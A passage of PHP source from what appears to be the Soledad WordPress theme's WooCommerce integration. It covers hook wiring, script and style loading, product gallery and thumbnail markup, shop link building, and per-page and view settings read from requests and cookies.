        <div class="penci-woo-before-main-inner-content content-left">
			<?php
			do_action( 'penci_woocommerce_before_main_shop_content_left' );
			if ( ! get_theme_mod( 'penci_archive_move_desc' ) ) {
				?>
                <div class="post-entry pc-proterm-description">
					<?php do_action( 'penci_woocommerce_before_main_shop_content_desc' ); ?>
                </div>
			<?php } ?>
        </div>
        <div class="penci-woo-before-main-inner-content content-right">
			<?php do_action( 'penci_woocommerce_before_main_shop_content_right' ); ?>
        </div>
    </div>
	<?php
}

add_action( 'woocommerce_after_shop_loop', function () {
	if ( get_theme_mod( 'penci_archive_move_desc' ) ) {
		?>
        <div class="post-entry pc-proterm-description pc-proterm-description-bottom">
			<?php do_action( 'penci_woocommerce_before_main_shop_content_desc' ); ?>
        </div>
		<?php
	}
}, 20 );

remove_action( 'woocommerce_archive_description', 'woocommerce_taxonomy_archive_description' );
remove_action( 'woocommerce_archive_description', 'woocommerce_product_archive_description' );

add_action( 'penci_woocommerce_before_main_shop_content_desc', 'woocommerce_taxonomy_archive_description', 99 );
add_action( 'penci_woocommerce_before_main_shop_content_desc', 'woocommerce_product_archive_description', 99 );

remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 );
add_action( 'penci_woocommerce_before_main_shop_content_right', 'woocommerce_catalog_ordering', 10 );

add_action( 'init', 'penci_woo_page_header_setup' );
add_action( 'woocommerce_before_single_product', 'penci_woo_page_header_setup' );
function penci_woo_page_header_setup() {

	$single_product_breadcrumb = get_theme_mod( 'penci_single_product_breadcrumb_position', 'top' );

	if ( ! is_product() ) {
		remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20 );
		add_action( 'penci_woocommerce_before_main_shop_content_left', 'woocommerce_breadcrumb', 30 );
	}

	if ( is_product() && 'top' === $single_product_breadcrumb ) {
		add_action( 'woocommerce_before_single_product', 'woocommerce_breadcrumb', 20 );
	}

	if ( is_product() && 'summary' === $single_product_breadcrumb ) {
		remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20 );
		add_action( 'woocommerce_single_product_summary', 'woocommerce_breadcrumb', 0 );
	}

	if ( is_product() && 'hidden' === $single_product_breadcrumb ) {
		remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20 );
	}

	if ( get_theme_mod( 'penci_woo_disable_breadcrumb', false ) ) {
		remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20 );
		remove_action( 'penci_woocommerce_before_main_shop_content_left', 'woocommerce_breadcrumb', 30 );
	}

	if ( penci_is_mobile() || penci_is_tablet() ) {
		add_action( 'penci_woocommerce_before_main_shop_content_left', 'woocommerce_result_count', 50 );
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Add custom style
 * ------------------------------------------------------------------------------------------------
 */
if ( ! function_exists( 'penci_woocommerc_custom_style' ) ) {
	function penci_woocommerc_custom_style() {

		$quick_view_width = get_theme_mod( 'penci_woocommerce_quickview_width', 960 );

		$css_elements = '--pc-woo-quick-view-width: ' . $quick_view_width . 'px;';

		return ':root{' . $css_elements . '}';
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Add Style
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_woocommerce_style' ) ) {
	function penci_woocommerce_style() {

		wp_enqueue_style( 'woocommerce', PENCI_SOLEDAD_URL . '/inc/woocommerce/css/build/woocommerce.css', array(), PENCI_SOLEDAD_VERSION );
		wp_enqueue_style( 'woocommerce-layout', PENCI_SOLEDAD_URL . '/inc/woocommerce/css/build/woocommerce-layout.css', array(), PENCI_SOLEDAD_VERSION );
		wp_enqueue_style( 'penci-woocommerce', PENCI_SOLEDAD_URL . '/inc/woocommerce/css/penci-woocomerce.css', array(), PENCI_SOLEDAD_VERSION );

		wp_enqueue_script( 'popper', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/popper.min.js', array(), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'tooltip', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/tippy-bundle.umd.min.js', array( 'popper' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'jquery.autocomplete', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/jquery.autocomplete.min.js', array(), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'penci-woocommerce', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/penci-woocommerce.js', array( 'jquery.pjax' ), PENCI_SOLEDAD_VERSION, true );

		wp_register_script( 'infinite-scroll', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/infinite-scroll.pkgd.min.js', array(), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'woo-countdown', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/jquery.countdown-pack.min.js', array(), PENCI_SOLEDAD_VERSION, true );

		if ( get_theme_mod( 'penci_woo_notify', false ) ) {
			wp_enqueue_style( 'jquery.toast' );
			wp_enqueue_script( 'jquery.toast' );
		}

		if ( 'pagination' !== get_theme_mod( 'penci_shop_product_pagination', 'pagination' ) ) {
			wp_enqueue_script( 'infinite-scroll' );
		}

		wp_enqueue_script( 'wc-add-to-cart-variation' );
		wp_deregister_script( 'wc-single-product' );
		wp_register_script( 'wc-single-product', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/single-product.js', array(), PENCI_SOLEDAD_VERSION, true );

		wp_register_script( 'grid-picker', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/jquery-grid-picker.js', array(), PENCI_SOLEDAD_VERSION, true );

		wp_add_inline_style( 'penci-woocommerce', penci_woocommerc_custom_style() );

		if ( get_theme_mod( 'pencidesign_woo_single_select2button', true ) ) {
			wp_enqueue_script( 'grid-picker' );
		}

		if ( is_rtl() ) {
			wp_enqueue_style( 'penci-woocommerce-rtl', PENCI_SOLEDAD_URL . '/inc/woocommerce/css/penci-woocommerce-rtl.css', array(), PENCI_SOLEDAD_VERSION );
		}

		wp_localize_script( 'penci-woocommerce', 'penciwoo', array(
			'ajaxUrl'                       => admin_url( 'admin-ajax.php' ),
			'nonce'                         => wp_create_nonce( 'ajax-nonce' ),
			'shoppage'                      => get_permalink( wc_get_page_id( 'shop' ) ),
			'checkout_url'                  => get_permalink( wc_get_page_id( 'checkout' ) ),
			'checkout_text'                 => penci_woo_translate_text( 'penci_woo_trans_checkout_text' ),
			'addtocart_jax'                 => get_theme_mod( 'penci_single_product_disable_ajax_atc', false ),
			'addtocart'                     => penci_woo_translate_text( 'penci_woo_trans_addtocart' ),
			'addtocompare'                  => penci_woo_translate_text( 'penci_woo_trans_addtocompare_notice' ),
			'removecompare'                 => penci_woo_translate_text( 'penci_woo_trans_removecompare' ),
			'removewishlist'                => penci_woo_translate_text( 'penci_woo_trans_removewishlist' ),
			'addwishlist'                   => penci_woo_translate_text( 'penci_woo_trans_addwishlist' ),
			'browsewishlist'                => penci_woo_translate_text( 'penci_woo_trans_brtwilsh' ),
			'browsecompare'                 => penci_woo_translate_text( 'penci_woo_trans_cpproduct' ),
			'returnshop'                    => penci_woo_translate_text( 'penci_woo_trans_returnshop' ),
			'allresults'                    => penci_woo_translate_text( 'penci_woo_trans_allrs' ),
			'relateproduct'                 => (int) get_theme_mod( 'penci_shop_product_related_columns', 4 ),
			'upsellproduct'                 => (int) get_theme_mod( 'penci_shop_product_up_sell_columns', 4 ),
			'crosssellproduct'              => (int) get_theme_mod( 'penci_shop_product_cross_sell_columns', 4 ),
			'catcolumns'                    => (int) get_theme_mod( 'penci_shop_cat_columns', 4 ),
			'cartstyle'                     => get_theme_mod( 'penci_woo_cart_style', 'side-right' ),
			'quickshop'                     => (int) get_theme_mod( 'penci_woocommerce_product_quick_shop', false ),
			'cartnotify'                    => (int) get_theme_mod( 'penci_woo_add_to_cart_notify', false ),
			'pagination'                    => get_theme_mod( 'penci_shop_product_pagination', 'pagination' ),
			'ajaxshop'                      => (int) get_theme_mod( 'penci_woocommerce_ajax_shop', true ),
			'scrolltotopajax'               => (int) get_theme_mod( 'penci_woocommerce_ajax_shop_auto_top', true ),
			'pagination_ajax_threshold'     => get_theme_mod( 'penci_shop_product_pagination_ajax_threshold', 400 ),
			'pagination_ajax_history'       => (int) get_theme_mod( 'penci_shop_product_pagination_ajax_history', false ),
			'pagination_ajax_title'         => (int) get_theme_mod( 'penci_shop_product_pagination_ajax_title', false ),
			'select2button'                 => (int) get_theme_mod( 'pencidesign_woo_single_select2button', true ),
			'wishlist_empty_heading'        => penci_woo_translate_text( 'penci_woo_trans_wishlist_empty_title' ),
			'wishlist_empty_text'           => penci_woo_translate_text( 'penci_woocommerce_wishlist_empty_text' ),
			'compare_empty_heading'         => penci_woo_translate_text( 'penci_woo_trans_compare_empty_title' ),
			'compare_empty_text'            => penci_woo_translate_text( 'penci_woocommerce_compare_empty_text' ),
			'disable_mobile_autoscroll'     => (int) get_theme_mod( 'penci_woo_mobile_autoscroll', false ),
			'toast_notify'                  => (int) get_theme_mod( 'penci_woo_notify', false ),
			'toast_notify_position'         => get_theme_mod( 'penci_woo_notify_position', 'bottom-right' ),
			'toast_notify_text_align'       => get_theme_mod( 'penci_woo_notify_text_align', 'left' ),
			'toast_notify_transition'       => get_theme_mod( 'penci_woo_notify_transition', 'slide' ),
			'toast_notify_hide_after'       => get_theme_mod( 'penci_woo_notify_hide_after', 5000 ),
			'toast_notify_bg_color'         => get_theme_mod( 'penci_woo_notify_bg_color', '' ),
			'toast_notify_text_color'       => get_theme_mod( 'penci_woo_notify_text_color', '' ),
			'toast_notify_shop_url'         => esc_url( wc_get_cart_url() ),
			'toast_notify_shop_sucess_text' => penci_woo_translate_text( 'penci_woo_trans_succatc' ),
			'toast_notify_shop_text'        => penci_woo_translate_text( 'penci_woo_trans_vcart' ),
			'fullpanelposition'             => get_theme_mod( 'penci_woo_fw_panel_pst', 'side-right' ),
			'search_input_padding'          => get_theme_mod( 'penci_woo_search_input_padding', 'true' ),
			'countdown_days'                => penci_woo_translate_text( 'penci_woo_trans_day' ),
			'countdown_hours'               => penci_woo_translate_text( 'penci_woo_trans_hours' ),
			'countdown_mins'                => penci_woo_translate_text( 'penci_woo_trans_minutes' ),
			'countdown_sec'                 => penci_woo_translate_text( 'penci_woo_trans_second' ),
			'wdgh'                          => (int) get_theme_mod( 'penci_woo_widgets_scroll_height', 275 ),
			'wdgmh'                         => (int) get_theme_mod( 'penci_woo_widgets_scroll_m_height', 275 ),
			'cart_hash_key'                 => apply_filters( 'woocommerce_cart_hash_key', 'wc_cart_hash_' . md5( get_current_blog_id() . '_' . get_site_url( get_current_blog_id(), '/' ) . get_template() ) ),
			'fragment_name'                 => apply_filters( 'woocommerce_cart_fragment_name', 'wc_fragments_' . md5( get_current_blog_id() . '_' . get_site_url( get_current_blog_id(), '/' ) . get_template() ) ),
			'demo_mods'                     => penci_woo_theme_mods_custom_link(),
		) );
	}

	add_action( 'wp_enqueue_scripts', 'penci_woocommerce_style', 99 );
}

if ( ! function_exists( 'penci_woocommerce_get_second_image' ) ) {
	add_action( 'penci_loop_product_image', 'penci_woocommerce_get_second_image' );
	function penci_woocommerce_get_second_image() {
		global $product;

		$image_id       = (int) $product->get_image_id();
		$attachment_ids = $product->get_gallery_image_ids();
		$hover_id       = ! empty( $attachment_ids[0] ) ? (int) $attachment_ids[0] : '';

		$size        = 'woocommerce_thumbnail';
		$custom_size = wc_get_loop_prop( 'img_size' );
		$image_size  = apply_filters( 'single_product_archive_thumbnail_size', $size );
		$image_size  = $custom_size ? $custom_size : $image_size;

		if ( count( $attachment_ids ) > 1 && $hover_id === $image_id ) {
			$hover_id = (int) $attachment_ids[1];
		}

		$image_id = ! empty( $hover_id ) ? $hover_id : $image_id;

		if ( get_theme_mod( 'penci_woocommerce_product_hover_img' ) ) :
			?>
            <div class="hover-img">
                <a href="<?php echo esc_url( get_permalink() ); ?>">
					<?php echo wp_get_attachment_image( $image_id, $image_size ); ?>
                </a>
            </div>
		<?php
		endif;
	}
}

remove_action( 'woocommerce_before_shop_loop_item_title', 'woocommerce_template_loop_product_thumbnail', 10 );
add_action( 'woocommerce_before_shop_loop_item_title', 'penci_woocommerce_product_thumbnail', 10 );
function penci_woocommerce_product_thumbnail() {
	global $product;
	$size        = 'woocommerce_thumbnail';
	$custom_size = wc_get_loop_prop( 'img_size' );
	$image_size  = apply_filters( 'single_product_archive_thumbnail_size', $size );
	$image_size  = $custom_size ? $custom_size : $image_size;

	$thumb = $product ? $product->get_image( $image_size ) : '';

	if ( $thumb ) {
		echo '<a class="penci-main-loop-image" href="' . esc_url( get_permalink() ) . '">' . $thumb . '</a>';
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Add extra button to product loop
 * ------------------------------------------------------------------------------------------------
 */

add_action( 'woocommerce_single_product_summary', 'penci_woocommerce_extra_single_product_extra_buttons', 35 );
function penci_woocommerce_extra_single_product_extra_buttons() {
	?>
    <div class="penci-extra-buttons">
		<?php
		do_action( 'penci_single_product_extra_buttons' );
		?>
    </div>
	<?php
}

/**
 * ------------------------------------------------------------------------------------------------
 * Return product attr as array
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_product_attributes_array' ) ) {
	function penci_product_attributes_array( $default = false ) {

		if ( ! function_exists( 'wc_get_attribute_taxonomies' ) ) {
			return;
		}
		$attributes = array();

		if ( $default ) {
			$attributes[''] = esc_attr__( 'Default Theme Setting', 'soledad' );
		}

		foreach ( wc_get_attribute_taxonomies() as $attribute ) {
			$attributes[ 'pa_' . $attribute->attribute_name ] = $attribute->attribute_label;
		}

		return $attributes;
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Check product show on front page
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_is_shop_on_front' ) ) {
	function penci_is_shop_on_front() {
		return function_exists( 'wc_get_page_id' ) && 'page' === get_option( 'show_on_front' ) && wc_get_page_id( 'shop' ) == get_option( 'page_on_front' );
	}
}

if ( class_exists( 'YITH_WCWL_Frontend' ) ) {
	add_action( 'penci_single_product_extra_buttons', array( YITH_WCWL_Frontend::get_instance(), 'print_button' ) );
	remove_action( 'init', array( YITH_WCWL_Frontend(), 'add_button' ) );
	add_action( 'penci_loop_product_buttons', array( YITH_WCWL_Frontend(), 'print_button' ), 10 );
}

if ( function_exists( 'YITH_WCQV_Frontend' ) ) {
	remove_action( 'init', array( YITH_WCQV_Frontend(), 'add_button' ) );
	add_action( 'penci_loop_product_buttons', array( YITH_WCQV_Frontend(), 'yith_add_quick_view_button' ), 5 );
}

if ( class_exists( 'YITH_Woocompare_Frontend' ) ) {
	$yith_woocompare_frontend = new YITH_Woocompare_Frontend();
	add_action( 'penci_loop_product_buttons', array( $yith_woocompare_frontend, 'add_compare_link' ), 20 );
	add_action( 'penci_single_product_extra_buttons', array( $yith_woocompare_frontend, 'add_compare_link' ), 20 );
}

/**
 * ------------------------------------------------------------------------------------------------
 * Get gallery image html + link to product
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_get_gallery_image_html' ) ) {
	function penci_get_gallery_image_html( $attachment_id, $main_image = false, $slider = false ) {
		$flexslider        = (bool) apply_filters( 'woocommerce_single_product_flexslider_enabled', get_theme_support( 'wc-product-gallery-slider' ) );
		$gallery_thumbnail = wc_get_image_size( 'gallery_thumbnail' );
		$thumbnail_size    = apply_filters( 'woocommerce_gallery_thumbnail_size', array(
			$gallery_thumbnail['width'],
			$gallery_thumbnail['height'],
		) );
		$image_size        = apply_filters( 'woocommerce_gallery_image_size', $flexslider || $main_image ? 'woocommerce_single' : $thumbnail_size );
		$full_size         = apply_filters( 'woocommerce_gallery_full_size', apply_filters( 'woocommerce_product_thumbnails_large_size', 'full' ) );
		$thumbnail_src     = wp_get_attachment_image_src( $attachment_id, $thumbnail_size );
		$full_src          = wp_get_attachment_image_src( $attachment_id, $full_size );
		$alt_text          = trim( wp_strip_all_tags( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) ) );
		$image             = wp_get_attachment_image( $attachment_id, $image_size, false, apply_filters( 'woocommerce_gallery_image_html_attachment_image_params', array(
			'title'                   => _wp_specialchars( get_post_field( 'post_title', $attachment_id ), ENT_QUOTES, 'UTF-8', true ),
			'data-caption'            => _wp_specialchars( get_post_field( 'post_excerpt', $attachment_id ), ENT_QUOTES, 'UTF-8', true ),
			'data-src'                => isset( $full_src[0] ) ? esc_url( $full_src[0] ) : '',
			'data-large_image'        => isset( $full_src[0] ) ? esc_url( $full_src[0] ) : '',
			'data-large_image_width'  => isset( $full_src[1] ) ? esc_attr( $full_src[1] ) : '',
			'data-large_image_height' => isset( $full_src[2] ) ? esc_attr( $full_src[2] ) : '',
			'class'                   => esc_attr( $main_image ? 'wp-post-image' : '' ),
		), $attachment_id, $image_size, $main_image ) );

		$out = '';

		$extra_class = $main_image ? 'pcw-gallery-main pcw-gallery' : 'pcw-gallery';

		if ( $slider && isset( $thumbnail_src[0] ) ) {
			$image_new = '<div class="penci-image-holder" style="background-image:url(' . $thumbnail_src[0] . ')"></div>';
			$out       = '<div data-thumb="' . esc_url( $thumbnail_src[0] ) . '" data-thumb-alt="' . esc_attr( $alt_text ) . '" class="woocommerce-product-gallery__image ' . $extra_class . '">' . $image . '</div>';
		} elseif ( ! $slider && isset( $thumbnail_src[0] ) ) {
			$out = '<div data-thumb="' . esc_url( $thumbnail_src[0] ) . '" data-thumb-alt="' . esc_attr( $alt_text ) . '" class="woocommerce-product-gallery__image ' . $extra_class . '"><a href="' . esc_url( $full_src[0] ) . '">' . $image . '</a></div>';
		}

		return $out;
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Add cart icon to header
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_top_cart_icon' ) ) {
	function penci_top_cart_icon() {
		get_template_part( 'template-parts/header/cart-icon' );
	}

	add_action( 'penci_header_extra_icons', 'penci_top_cart_icon', 5 );
}

/**
 * ------------------------------------------------------------------------------------------------
 * Default loop args
 * ------------------------------------------------------------------------------------------------
 */

if ( ! function_exists( 'penci_custom_product_query_default_args' ) ) {
	function penci_custom_product_query_default_args() {
		return array(
			// General.
			'element_title'              => '',
			'title'                      => '',

			// Query.
			'post_type'                  => 'product',
			'include'                    => '',
			'taxonomies'                 => '',
			'offset'                     => '',
			'orderby'                    => '',
			'query_type'                 => 'OR',
			'order'                      => '',
			'meta_key'                   => '', // phpcs:ignore
			'exclude'                    => '',
			'header_tools'               => '0',
			'product_type'               => '',

			// Carousel.
			'speed'                      => '5000',
			'slides_per_view'            => '4',
			'wrap'                       => '',
			'autoplay'                   => 'no',
			'center_mode'                => 'no',
			'hide_pagination_control'    => '',
			'hide_prev_next_buttons'     => '',
			'scroll_per_page'            => 'yes',

			// Layout.
			'layout'                     => 'grid',
			'pagination'                 => '',
			'items_per_page'             => 12,
			'columns'                    => array( 'size' => 4 ),
			'product_horizontal_spacing' => array( 'size' => 30 ),
			'product_rating'             => 1,
			'product_categories'         => 1,

			// Design.
			'product_style'              => get_theme_mod( 'penci_woocommerce_product_style', 'style-1' ),
			'sale_countdown'             => 0,
			'stock_progress_bar'         => 0,
			'img_size'                   => 'woocommerce_thumbnail',
			'icon_style'                 => get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' ),
			'icon_position'              => get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' ),
			'icon_animation'             => get_theme_mod( 'penci_woocommerce_product_icon_hover_animation', 'move-right' ),
			'product_round_style'        => penci_shop_product_round_style( get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' ), get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' ) ),

			// Extra.
			'loop_name'                  => 'custom',
			'elementor'                  => true,
			'class'                      => '',
		);
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * WooCommerce pJax Preloader
 * ------------------------------------------------------------------------------------------------
 */
if ( ! function_exists( 'penci_pjax_preloader' ) ) {
	function penci_pjax_preloader() {
		$html = '<div class="penci-products-preloader"><span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span class="bubble"></span></span></div>';
		$html = apply_filters( 'penci_pjax_preloader', $html );
		echo $html;
	}

	add_action( 'woocommerce_before_shop_loop', 'penci_pjax_preloader', 35 );
}

/**
 * ------------------------------------------------------------------------------------------------
 * WooCommerce single class
 * ------------------------------------------------------------------------------------------------
 */
if ( ! function_exists( 'penci_woo_single_product_class' ) ) {
	function penci_woo_single_product_class( $classes, $product ) {
		global $product;
		if ( is_singular( 'product' ) ) {
			$id = get_the_ID();

			$img_width          = get_theme_mod( 'penci_single_product_img_width', 'standard' );
			$img_width          = penci_get_single_product_meta( $id, 'product_general', 'penci_single_product_img_width', $img_width );
			$thumbnail_position = get_theme_mod( 'penci_single_product_thumbnail_position', 'standard' );
			$thumbnail_position = penci_get_single_product_meta( $id, 'product_general', 'penci_single_product_thumbnail_position', $thumbnail_position );

			$summary_align = get_theme_mod( 'penci_single_product_summary_align', 'standard' );
			$summary_align = penci_get_single_product_meta( $id, 'product_general', 'product_summary_align', $summary_align );


			$top_related_posts = get_theme_mod( 'penci_single_product_top_related_product', true );

			$classes[] = $top_related_posts ? 'top-related-posts-show' : 'top-related-posts-hidden';
			$classes[] = 'pcw-breadcrumb-' . get_theme_mod( 'penci_single_product_breadcrumb_position', 'default' );


			if ( penci_woo_is_activate_sidebar() ) {
				$classes[] = 'penci-sidebar-enable';
			}

			$product_background = get_post_meta( $id, 'penci_pmeta_product_background', true );

			$classes[] = ( isset( $product_background['product_wrap_bgcolor'] ) && $product_background['product_wrap_bgcolor'] ) || ( isset( $product_background['product_wrap_bgimg'] ) && $product_background['product_wrap_bgimg'] ) ? 'has-background' : 'no-background';

			$img_width = 'fullwidth' == $img_width ? 'fullwidth penci-product-img-fullwidth-container' : $img_width;

			$classes[] = 'penci-product-img-' . $img_width;
			$classes[] = 'penci-product-' . $thumbnail_position;
			$classes[] = 'penci-summary-align-' . $summary_align;

			$attachment_ids     = $product->get_gallery_image_ids();
			$thumbnail_position = get_theme_mod( 'penci_single_product_thumbnail_position', 'thumbnail-left' );
			$thumbnail_position = penci_get_single_product_meta( get_the_ID(), 'product_general', 'penci_single_product_thumbnail_position', $thumbnail_position );
			$thumbnail_position = $attachment_ids && $product->get_image_id() ? $thumbnail_position : 'no-thumbnail';

			$classes[] = $thumbnail_position;
		}

		$social_share_style = get_theme_mod( 'penci_woo_social_share_style', 'style-1' );
		$social_share_icon  = get_theme_mod( 'penci_woo_social_icon_style', 'circle' );

		$attachment_ids = $product->get_gallery_image_ids();

		$classes[] = 'penci-share-' . $social_share_style;
		$classes[] = 'penci-share-icon-style-' . $social_share_icon;
		$classes[] = ! empty( $attachment_ids ) ? 'has-product-gallery' : 'no-product-gallery';

		return $classes;
	}

	add_filter( 'woocommerce_post_class', 'penci_woo_single_product_class', 10, 2 );
}

/**
 * ------------------------------------------------------------------------------------------------
 * WooCommerce get shop link with the current query
 * ------------------------------------------------------------------------------------------------
 */
if ( ! function_exists( 'penci_shop_page_link' ) ) {
	function penci_shop_page_link( $keep_query = false, $taxonomy = '' ) {
		// Base Link decided by current page.
		$link = '';

		if ( class_exists( 'Automattic\Jetpack\Constants' ) && Automattic\Jetpack\Constants::is_defined( 'SHOP_IS_ON_FRONT' ) ) {
			$link = home_url();
		} elseif ( is_post_type_archive( 'product' ) || is_page( wc_get_page_id( 'shop' ) ) || is_shop() ) {
			$link = get_permalink( wc_get_page_id( 'shop' ) );
		} elseif ( is_product_category() ) {
			$link = get_term_link( get_query_var( 'product_cat' ), 'product_cat' );
		} elseif ( is_product_tag() ) {
			$link = get_term_link( get_query_var( 'product_tag' ), 'product_tag' );
		} elseif ( get_queried_object() ) {
			$queried_object = get_queried_object();

			if ( property_exists( $queried_object, 'taxonomy' ) ) {
				$link = get_term_link( $queried_object->slug, $queried_object->taxonomy );
			}
		}

		if ( $keep_query ) {

			$link = apply_filters( 'penci_woo_filter_link', $link );

			/**
			 * Search Arg.
			 * To support quote characters, first they are decoded from &quot; entities, then URL encoded.
			 */
			if ( get_search_query() ) {
				$link = add_query_arg( 's', rawurlencode( wp_specialchars_decode( get_search_query() ) ), $link );
			}

			// Post Type Arg.
			if ( isset( $_GET['post_type'] ) ) {
				$link = add_query_arg( 'post_type', wc_clean( wp_unslash( $_GET['post_type'] ) ), $link );

				// Prevent post type and page id when pretty permalinks are disabled.
				if ( is_shop() ) {
					$link = remove_query_arg( 'page_id', $link );
				}
			}

			// Min Rating Arg.
			if ( isset( $_GET['min_rating'] ) ) {
				$link = add_query_arg( 'min_rating', wc_clean( $_GET['min_rating'] ), $link );
			}

			// All current filters.
			if ( $_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes() ) {
				foreach ( $_chosen_attributes as $name => $data ) {
					if ( $name === $taxonomy ) {
						continue;
					}
					$filter_name = sanitize_title( str_replace( 'pa_', '', $name ) );
					if ( ! empty( $data['terms'] ) ) {
						$link = add_query_arg( 'filter_' . $filter_name, implode( ',', $data['terms'] ), $link );
					}
					if ( 'or' === $data['query_type'] ) {
						$link = add_query_arg( 'query_type_' . $filter_name, 'or', $link );
					}
				}
			}
		}

		$link = apply_filters( 'penci_shop_page_link', $link, $keep_query, $taxonomy );

		if ( is_string( $link ) ) {
			return $link;
		} else {
			return '';
		}
	}
}
if ( ! function_exists( 'penci_woo_theme_mods_custom_link' ) ) {
	function penci_woo_theme_mods_custom_link() {
		$user_attr = array();

		return apply_filters( 'penci_woo_allow_get_url', $user_attr );
	}
}

add_filter( 'penci_woo_filter_link', function ( $link ) {

	$allow_get = array(
		'min_price',
		'max_price',
		'orderby',
		'stock_status',
		'per_row',
		'per_page',
		'shop_view',
		'shortcode',
	);

	$allow_get = apply_filters( 'penci_woo_allow_get_default_url', $allow_get );
	$mods_get  = penci_woo_theme_mods_custom_link();

	$allow_get = array_merge( $allow_get, $mods_get );

	foreach ( $allow_get as $var ) {
		if ( isset( $_GET[ $var ] ) ) {
			$link = add_query_arg( $var, wc_clean( $_GET[ $var ] ), $link );
		}
	}

	return $link;
} );

if ( ! function_exists( 'penci_woo_get_products_per_page' ) ) {
	function penci_woo_get_products_per_page() {
		$products_per_page = get_theme_mod( 'penci_woo_post_per_page', 24 );

		if ( isset( $_REQUEST['per_page'] ) && ! empty( $_REQUEST['per_page'] ) ) {
			$products_per_page = $_REQUEST['per_page'];
		} elseif ( isset( $_COOKIE['shop_per_page'] ) ) {
			$products_per_page = $_COOKIE['shop_per_page'];
		}

		return intval( $products_per_page );
	}
}

if ( ! function_exists( 'penci_products_per_page_action' ) ) {
	add_action( 'init', 'penci_products_per_page_action', 100 );
	function penci_products_per_page_action() {
		if ( isset( $_REQUEST['per_page'] ) && 1 != $_REQUEST['per_page'] && ! isset( $_REQUEST['_locale'] ) && ! isset( $_REQUEST['shortcode'] ) && apply_filters( 'penci_per_page_custom_expression', true ) ) {
			setcookie( 'shop_per_page', intval( $_REQUEST['per_page'] ), 0, COOKIEPATH, COOKIE_DOMAIN, false, false );
		}
	}
}

if ( ! function_exists( 'penci_shop_view_action' ) ) {
	add_action( 'init', 'penci_shop_view_action', 100 );
	function penci_shop_view_action() {
		if ( isset( $_REQUEST['shop_view'] ) && ! isset( $_REQUEST['shortcode'] ) ) {
			setcookie( 'shop_view', $_REQUEST['shop_view'], 0, COOKIEPATH, COOKIE_DOMAIN, false, false );
		}
		if ( isset( $_REQUEST['per_row'] ) && ! isset( $_REQUEST['shortcode'] ) ) {
			setcookie( 'shop_per_row', $_REQUEST['per_row'], 0, COOKIEPATH, COOKIE_DOMAIN, false, false );
		}
	}
}

if ( ! function_exists( 'penci_get_products_columns_per_row' ) ) {
	function penci_get_products_columns_per_row() {
		if ( isset( $_REQUEST['per_row'] ) ) {
			return intval( $_REQUEST['per_row'] );
		} elseif ( isset( $_COOKIE['shop_per_row'] ) ) {
			return intval( $_COOKIE['shop_per_row'] );
		} else {
			return intval( get_theme_mod( 'penci_shop_product_columns', 3 ) );
		}
	}
}

if ( ! function_exists( 'penci_get_shop_view' ) ) {
	function penci_get_shop_view() {
		if ( isset( $_REQUEST['shop_view'] ) ) {
			$return = $_REQUEST['shop_view'];
		} elseif ( isset( $_COOKIE['shop_view'] ) ) {
			$return = $_COOKIE['shop_view'];
		} else {
			$shop_view = get_theme_mod( 'penci_shop_product_view', 'list-grid' );
			if ( $shop_view == 'grid_list' ) {
				$return = 'grid';
			} elseif ( $shop_view == 'list_grid' ) {
				$return = 'list';
			} else {
				$return = $shop_view;
			}
		}

		return $return;
	}
}

if ( ! function_exists( 'penci_wc_main_loop_prop' ) ) {
	function penci_wc_main_loop_prop() {

		wc_set_loop_prop( 'per_page', (int) penci_woo_get_products_per_page() );
		wc_set_loop_prop( 'columns', (int) penci_get_products_columns_per_row() );
		wc_set_loop_prop( 'product_loop_style', get_theme_mod( 'penci_woocommerce_product_style', 'style-1' ) );
		wc_set_loop_prop( 'products_view', penci_get_shop_view() );
		wc_set_loop_prop( 'mobile-columns', get_theme_mod( 'penci_shop_product_mobile_columns', 2 ) );
		wc_set_loop_prop( 'cat-loop-style', get_theme_mod( 'penci_woocommerce_product_cat_style', 'style-1' ) );
		wc_set_loop_prop( 'title-length', get_theme_mod( 'penci_woo_limit_product_title' ) );
		wc_set_loop_prop( 'loop_rating', get_theme_mod( 'penci_woocommerce_loop_rating', true ) );
		wc_set_loop_prop( 'loop_categories', get_theme_mod( 'penci_woocommerce_loop_category', true ) );
		wc_set_loop_prop( 'stock_progress_bar', get_theme_mod( 'penci_shop_stock_progress_bar', false ) );

		wc_set_loop_prop( 'product_loop_icon_style', get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' ) );
